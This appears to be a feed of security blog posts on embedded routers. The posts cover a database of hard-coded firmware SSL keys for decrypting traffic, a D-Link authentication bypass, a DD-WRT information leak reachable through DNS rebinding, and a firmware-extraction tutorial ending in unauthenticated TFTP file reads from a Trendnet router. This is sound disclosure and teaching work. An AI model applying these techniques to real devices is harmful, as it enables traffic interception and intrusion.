Quantcast
Channel: Security – devttys0
Viewing all 33 articles
Browse latest View live

Breaking SSL on Embedded Devices

$
0
0

No, this is not some new SSL vulnerability. In fact, it’s a really old vulnerability, as old as cryptography itself: keep your secret keys secret.

A lot of embedded devices provide HTTPS support so that administrators can administer the devices securely over untrusted networks. Some devices, such as SSL VPNs, center their entire functionality around SSL encryption. OK, well SSL isn’t perfect, but it’s still the de facto standard for Web-based encryption. So far, so good.

Here’s where it gets fun: many of these devices use hard-coded SSL keys that are baked into the firmware. That means that if Alice and Bob are both using the same router with the same firmware version, then both of their routers have the same SSL keys. All Eve needs to do in order to decrypt their traffic is to download the firmware from the vendor’s Web site and extract the SSL private key from the firmware image.

However, there are some practical limitations to this attack. If Eve doesn’t know what router or firmware version Alice and Bob are using, it will be difficult to impossible for her to identify which firmware image to extract the SSL keys from. A good example of this is DD-WRT. There are several versions of DD-WRT available for each router supported by DD-WRT. And for each of those versions, there are several different “flavors”: micro, standard, VPN, etc. Even if Eve knows that Alice and Bob are running DD-WRT, that’s a lot of firmware images to work through. This becomes even more difficult when dealing with vendors whose firmware is not as standardized between releases.

That’s where the LittleBlackBox project comes in. It has a database of known default SSL private keys and associates those keys with their corresponding public keys. All Eve has to do is look up the public key of Alice and Bob’s router in the database, and she instantly has the rotuer’s private key.

She can also look up keys based on the device model, vendor, or firmware versions.

She can feed it a network capture file of Alice and Bob’s router traffic and it will find the public certificate exchange and automatically look up the corresponding private key for her.

She can give it the host name or IP address of Alice and Bob’s router, and it will retrieve the public certificate from the router and look up the corresponding private key for her.

She can…well, you get the picture. Of course, the keys have to be in the database in order for all this to work. Currently LittleBlackBox has over 2,000 unique private SSL keys and growing, primarily belonging to routers and VPNs. Although at the moment the vast majority of the keys belong to various DD-WRT firmware, there are keys from Cisco, Linksys, D-Link and Netgear as well.

LittleBlackBox can be downloaded here. If you have default SSL keys that are not currently in the database and wish to add them to the project, please download the latest version of LittleBlackBox and follow the submission guidelines in the docs/FAQ page.


WBR-1310 Authentication Bypass Vulnerability

$
0
0
The D-Link WBR-1310 contains an authentication bypass vulnerability that allows remote attackers to change administrative settings without authentication. This can be used to enable remote management and change the administrative password. Note that even if remote administration is not enabled, this vulnerability can be easily exploited via CSRF. Read the … Continue reading

DD-WRT, I Know Where You Live

$
0
0

I’ve always envied CSI’s amazing IP address geolocation capabilities. Not only can they get your exact physical address based solely off your IP (right down to your hotel room number!), it even works on IP addresses that don’t exist!

While that level of IP address tracking is beyond the grasp of us mere mortals, MAC address geolocation provided by Google Location Services and Skyhook is pretty close. Just feed them the MAC address of your wireless router and they will tell you, with scary precision, where you are.

But what if you wanted to find the wireless MAC address of someone else’s router – remotely? Thanks to an information disclosure vulnerability in DD-WRT, you can.

If you are running DD-WRT and have set the ‘info page’ configuration to either ‘enabled’ (the default) or ‘disabled’, an unauthenticated remote attacker can get your:

  • Router’s LAN/WAN/WLAN MAC addresses
  • Router’s internal IP address
  • Internal client’s IP addresses and host names

All they have to do is make a GET request for the ‘/Info.live.htm’ page.

Now, I know what you’re thinking: “Surely this only affects DD-WRT routers that have remote administration enabled!” No, it doesn’t. And don’t call me Shirley.

This is exploitable even with remote administration disabled because DD-WRT is also vulnerable to a public IP DNS rebinding attack. That means that when a user inside your network browses to any Web site, that site can proxy requests through the user’s browser and pull this information from the router’s internal Web interface – no authentication or remote administration required. And, thanks to Rebind, pulling off this type of rebinding attack is pretty simple.

You can read a more detailed write-up on the vulnerability here, or watch the below video demonstrating the use of Rebind and Google Location Services to obtain the location of a DD-WRT router.

Exploiting Embedded Systems – Part 1

$
0
0

So far our tutorials have focused on extracting file systems, kernels and code from firmware images. Once we have a firmware image dissected into something we can work with, the next step is to analyze it for vulnerabilities.

Our target is going to be the Trendnet TEW-654TR. We’ll be examining many different security holes in this device, but for part 1 we will focus on gaining initial access given only a login page and nothing more. We will assume that we do not have physical access to the target device, nor to any other device for testing or analysis.

If you don’t already have them, you will need to install binwalk and the firmware mod kit.


Let’s get started!

OK, we’ve found a target and we can see from the login page that it is a Trendnet TEW-654TR. It always helps to gather some information about your target, so let’s look at some of the features listed on Trendnet’s product page:

  1. Supports Router, Access Point and AP Client modes
  2. Network Address Translation (NAT) and Stateful Packet Inspection (SPI) protect against Internet attacks
  3. Easy Web browser remote management

While we’re there, let’s also head to Trendnet’s support site and download a copy of the latest firmware update (v1.10 build 12 at the time of this writing).

Running the firmware image through binwalk reveals a pretty standard looking Linux firmware layout:

eve@eve:~/TEW654TR$ binwalk TEW-654TRA1_FW110B12.bin -v

Scan Time:    Sep 22, 2011 @ 20:19:59
Magic File:   /usr/local/etc/binwalk/magic.binwalk
Signatures:   70
Target File:  TEW-654TRA1_FW110B12.bin
MD5 Checksum: 523c7c7f158930894b7842949ff55c48

DECIMAL   	HEX       	DESCRIPTION
-------------------------------------------------------------------------------------------------------
64        	0x40      	uImage header, header size: 64 bytes, header CRC: 0xE5BE5107, created: Mon May 30 09:00:10 2011, image size: 883118 bytes, Data Address: 0x80000000, Entry Point: 0x80282000, data CRC: 0xB8911044, OS: Linux, CPU: MIPS, image type: OS Kernel Image, compression type: lzma, image name: Linux Kernel Image
128       	0x80      	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 2746476 bytes
917568    	0xE0040   	Squashfs filesystem, little endian, non-standard signature,  version 3.0, size: 2776952 bytes, 361 inodes, blocksize: 65536 bytes, created: Mon May 30 09:00:17 2011
917687    	0xE00B7   	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
942232    	0xE6098   	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
964027    	0xEB5BB   	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
986860    	0xF0EEC   	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
1009863   	0xF68C7   	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
1028221   	0xFB07D   	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
1050976   	0x100960  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 47596 bytes
1063834   	0x103B9A  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 60556 bytes
1083190   	0x108736  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 62728 bytes
1096075   	0x10B98B  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 53587 bytes
1108762   	0x10EB1A  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 63640 bytes
1122742   	0x1121B6  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 48555 bytes
1138194   	0x115E12  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
1159993   	0x11B339  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
1179451   	0x11FF3B  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
1197984   	0x1247A0  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
1218234   	0x1296BA  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
1235094   	0x12D896  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 33224 bytes
1238697   	0x12E6A9  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 59152 bytes
1257323   	0x132F6B  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 41920 bytes
1270434   	0x1362A2  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 34652 bytes
1281426   	0x138D92  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
1301790   	0x13DD1E  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 9860 bytes
1304542   	0x13E7DE  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 61700 bytes
1317957   	0x141C45  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
1333299   	0x145833  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 26688 bytes
1335163   	0x145F7B  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 54920 bytes
1350148   	0x149A04  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
1372419   	0x14F103  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
1396232   	0x154E08  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
1418715   	0x15A5DB  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
1440677   	0x15FBA5  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
1464261   	0x1657C5  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
1488446   	0x16B63E  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
1515155   	0x171E93  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 34556 bytes
1519314   	0x172ED2  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 49040 bytes
1533960   	0x176808  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
1553645   	0x17B4ED  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
1571624   	0x17FB28  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 50752 bytes
1584757   	0x182E75  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
1608729   	0x188C19  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
1634521   	0x18F0D9  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
1656201   	0x194589  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
1676037   	0x199305  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
1697714   	0x19E7B2  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
1718346   	0x1A384A  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
1741453   	0x1A928D  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
1761635   	0x1AE163  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
1779758   	0x1B282E  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
1796371   	0x1B6913  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
1818076   	0x1BBDDC  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
1838965   	0x1C0F75  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
1862439   	0x1C6B27  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
1883258   	0x1CBC7A  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
1903737   	0x1D0C79  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
1913134   	0x1D312E  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
1928107   	0x1D6BAB  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
1948416   	0x1DBB00  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
1965420   	0x1DFD6C  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
1982834   	0x1E4172  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
2000018   	0x1E8492  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
2016949   	0x1EC6B5  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 27768 bytes
2022077   	0x1EDABD  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
2046208   	0x1F3900  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
2070850   	0x1F9942  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
2094816   	0x1FF6E0  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
2113975   	0x2041B7  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
2136660   	0x209A54  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
2160301   	0x20F6AD  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
2181469   	0x21495D  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
2200963   	0x219583  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
2218280   	0x21D928  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
2236380   	0x221FDC  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
2258078   	0x22749E  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
2278734   	0x22C54E  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
2299832   	0x2317B8  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
2319739   	0x23657B  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
2326855   	0x238147  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
2347775   	0x23D2FF  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
2365127   	0x2416C7  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
2382248   	0x2459A8  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
2399305   	0x249C49  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
2416059   	0x24DDBB  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 33200 bytes
2422766   	0x24F7EE  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
2451217   	0x256711  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 22972 bytes
2455029   	0x2575F5  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
2477682   	0x25CE72  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 34668 bytes
2485730   	0x25EDE2  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 51421 bytes
2502716   	0x26303C  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 56320 bytes
2505240   	0x263A18  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 56662 bytes
2509097   	0x264929  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 53056 bytes
2521207   	0x267877  	gzip compressed data, from Unix, last modified: Mon May 30 09:00:09 2011
2779412   	0x2A6914  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
2803612   	0x2AC79C  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 37576 bytes
2815638   	0x2AF696  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 23898 bytes
2817417   	0x2AFD89  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 45620 bytes
2832461   	0x2B384D  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
2853902   	0x2B8C0E  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 2516 bytes
2854521   	0x2B8E79  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
2875770   	0x2BE17A  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 2508 bytes
2876385   	0x2BE3E1  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 63696 bytes
2896777   	0x2C3389  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 49736 bytes
2912739   	0x2C71E3  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
2926198   	0x2CA676  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 45848 bytes
2938975   	0x2CD85F  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
2960914   	0x2D2E12  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 1452 bytes
2961392   	0x2D2FF0  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
2983182   	0x2D850E  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 26972 bytes
2990524   	0x2DA1BC  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
3010089   	0x2DEE29  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 36312 bytes
3020945   	0x2E1891  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 52136 bytes
3036956   	0x2E571C  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
3059555   	0x2EAF63  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
3081633   	0x2F05A1  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
3104019   	0x2F5D13  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
3125830   	0x2FB246  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 25860 bytes
3131543   	0x2FC897  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
3148776   	0x300BE8  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
3165665   	0x304DE1  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 2972 bytes
3166400   	0x3050C0  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
3186708   	0x30A014  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
3203568   	0x30E1F0  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
3222595   	0x312C43  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
3238860   	0x316BCC  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
3252694   	0x31A1D6  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
3263200   	0x31CAE0  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 4696 bytes
3264093   	0x31CE5D  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 54996 bytes
3281541   	0x321285  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 61492 bytes
3302296   	0x326398  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 33292 bytes
3312600   	0x328BD8  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
3334352   	0x32E0D0  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
3353951   	0x332D5F  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
3374384   	0x337D30  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
3394491   	0x33CBBB  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 13312 bytes
3396395   	0x33D32B  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
3415501   	0x341DCD  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
3433971   	0x3465F3  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
3452202   	0x34AD2A  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
3467771   	0x34E9FB  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 22604 bytes
3470488   	0x34F498  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 55552 bytes
3487801   	0x353839  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 61960 bytes
3503338   	0x3574EA  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
3524956   	0x35C95C  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
3543874   	0x361342  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
3565538   	0x3667E2  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 5632 bytes
3566520   	0x366BB8  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
3585576   	0x36B628  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 48652 bytes
3598572   	0x36E8EC  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 51028 bytes
3613956   	0x372504  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 44961 bytes
3623032   	0x374878  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
3640273   	0x378BD1  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 17176 bytes
3645128   	0x379EC8  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 59460 bytes
3662337   	0x37E201  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 60536 bytes
3679557   	0x382545  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 29759 bytes
3687215   	0x38432F  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 8192 bytes
3689455   	0x384BEF  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 3038 bytes
3690332   	0x384F5C  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 5362 bytes
3693543   	0x385BE7  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 496 bytes
3693762   	0x385CC2  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 2888 bytes

The Firmware Mod Kit should be able to automatically extract this firmware image for us:

eve@eve:/opt/firmware-mod-kit/trunk# ./extract-ng.sh ~/TEW654TR/TEW-654TRA1_FW110B12.bin 
Firmware Mod Kit (build-ng) 0.70 beta, (c)2011 Craig Heffner, Jeremy Collake

http://www.bitsum.com

Scanning firmware...

DECIMAL   	HEX       	DESCRIPTION
-------------------------------------------------------------------------------------------------------
64        	0x40      	uImage header, header size: 64 bytes, header CRC: 0xE5BE5107, created: Mon May 30 09:00:10 2011, image size: 883118 bytes, Data Address: 0x80000000, Entry Point: 0x80282000, data CRC: 0xB8911044, OS: Linux, CPU: MIPS, image type: OS Kernel Image, compression type: lzma, image name: Linux Kernel Image
917568    	0xE0040   	Squashfs filesystem, little endian, non-standard signature,  version 3.0, size: 2776952 bytes, 361 inodes, blocksize: 65536 bytes, created: Mon May 30 09:00:17 2011

Extracting 917568 bytes of  header image at offset 0
Extracting squashfs file system at offset 917568
Extracting squashfs files...
Firmware extraction successful!
Firmware parts can be found in 'fmk/*'

With the file system extracted, one of the first things to look for are any configuration files or start up scripts in the etc directory:

eve@eve:/opt/firmware-mod-kit/trunk/fmk/rootfs/etc$ ls -l
total 16
-rwxrwxrwx 1 root root  230 2008-11-10 05:54 fstab
-rwxr-xr-x 1 root root 3774 2011-05-30 09:00 icon.ico
-rwxrwxrwx 1 root root  109 2008-11-10 05:54 inittab
drwxrwxrwx 2 root root 4096 2011-09-22 20:27 rc.d
lrwxrwxrwx 1 root root   22 2011-09-22 20:25 resolv.conf -> ../var/etc/resolv.conf

Not much in the way of config files, but the rc.d directory does contain an rcS shell script:

eve@eve:/opt/firmware-mod-kit/trunk/fmk/rootfs/etc$ ls -l rc.d/
total 4
-rwxrwxrwx 1 root root 768 2010-03-23 00:06 rcS
eve@eve:/opt/firmware-mod-kit/trunk/fmk/rootfs/etc$ file rc.d/rcS 
rc.d/rcS: a /bin/ash script text executable

Since the rcS file is usually used to initialize services and environments on start up, it is worthwhile to take a closer look at it:

#!/bin/ash

# This script runs when init it run during the boot process.
# Mounts everything in the fstab
mount -a
mount -o remount +w /

# Mount the RAM filesystem to /tmp
mount -t tmpfs tmpfs /tmp

# copy all files in the mnt folder to the etc folder
cp -a /mnt/* /etc
mkdir -p /var/etc
mkdir -p /var/firm
mkdir -p /var/log
mkdir -p /var/misc
mkdir -p /var/run
mkdir -p /var/sbin
mkdir -p /var/tmp
mkdir -p /tmp/var
	
cp -f /etc/udhcpd.conf /var/etc/
cp -f /etc/udhcpd.leases /var/misc/

#Add link for resolv.conf
#ln -sf /var/etc/resolv.conf /etc/resolv.conf

# Load configure file from Flash
/bin/echo "Init System..."
system_manager &

# Start tftpd
/bin/echo "Start Tftpd..."
tftpd &

#insert cc_dev module for reset packet counter
insmod /lib/modules/cc_dev.ko

This script does appear to be run on startup. It creates some temporary directories then runs system_manager, tftpd, and loads a kernel module. The tftpd command is particularly interesting! Let’s take a quick look at the binary:

eve@eve:/opt/firmware-mod-kit/trunk/fmk/rootfs$ find -name tftpd
./sbin/tftpd
eve@eve:/opt/firmware-mod-kit/trunk/fmk/rootfs$ file ./sbin/tftpd 
./sbin/tftpd: ELF 32-bit LSB executable, MIPS, MIPS-II version 1 (SYSV), dynamically linked (uses shared libs), stripped
eve@eve:/opt/firmware-mod-kit/trunk/fmk/rootfs$ strings ./sbin/tftpd 
/lib/ld-uClibc.so.0
p ,D
_init
_fini
__uClibc_main
__deregister_frame_info
__register_frame_info
_Jv_RegisterClasses
bind
printf
puts
fopen
tftp_receive
tftp_free
TFTPswrite
__errno_location
tftp_send
TFTPsread
fclose
strerror
malloc
strcpy
fork
wait
tftpd_general
exit
NumberTimeOut
PortTFTP
create_socket
recvfrom
tftp_connection
fwrite
fread
strlen
sendto
memset
select
memcpy
memcmp
preamble_mac
execute_smac_cmds
ioctl
recv
save_upload_file
tftp_receive_ext
tftp_send_ext
libputil.so
_DYNAMIC_LINKING
__RLD_MAP
_GLOBAL_OFFSET_TABLE_
napt_session_list
libmp.so
libsqlite3.so.0
libdbapi.so.1
libc.so.0
_ftext
_fdata
_edata
__bss_start
_fbss
_end
&9'	
0-B$
,!$	
0-!$
$!@ 
%&! `
'!8@
Creation socket failure
bind socket failure.
octet
TFTP op code is not correct 
TFTP error
TFTP fork error
file name is corrupted. 
TFTP main
standard_tftp_server launched on port %d.
create socket error %d
error mesg: %s 
send nak failed: %d
TFTP receving..... 
TFTP receive successfully 
TFTP: out of memory.
tftp: write error : %d
TFTP timeout
tftp: select error : %d
tftp: op code is not correct 
create socket failure %d:
TFTP send successfully 
sendto failure %d
TFTPread error : %d
opcode not correct

From the function names and strings, this appears to be a pretty straight forward tftp server. Let’s see if we can connect to the tftp server and download a file. We know from the rcS script above that the file /var/etc/udhcpd.conf gets created at boot, so we’ll request that file as a test:

eve@eve:~$ tftp 1.1.1.102
tftp> get /var/etc/udhcpd.conf
Received 615 bytes in 0.0 seconds
tftp> quit
eve@eve:~$ cat udhcpd.conf 
# Sample udhcpd configuration file (/etc/udhcpd.conf)

# The location of the leases file
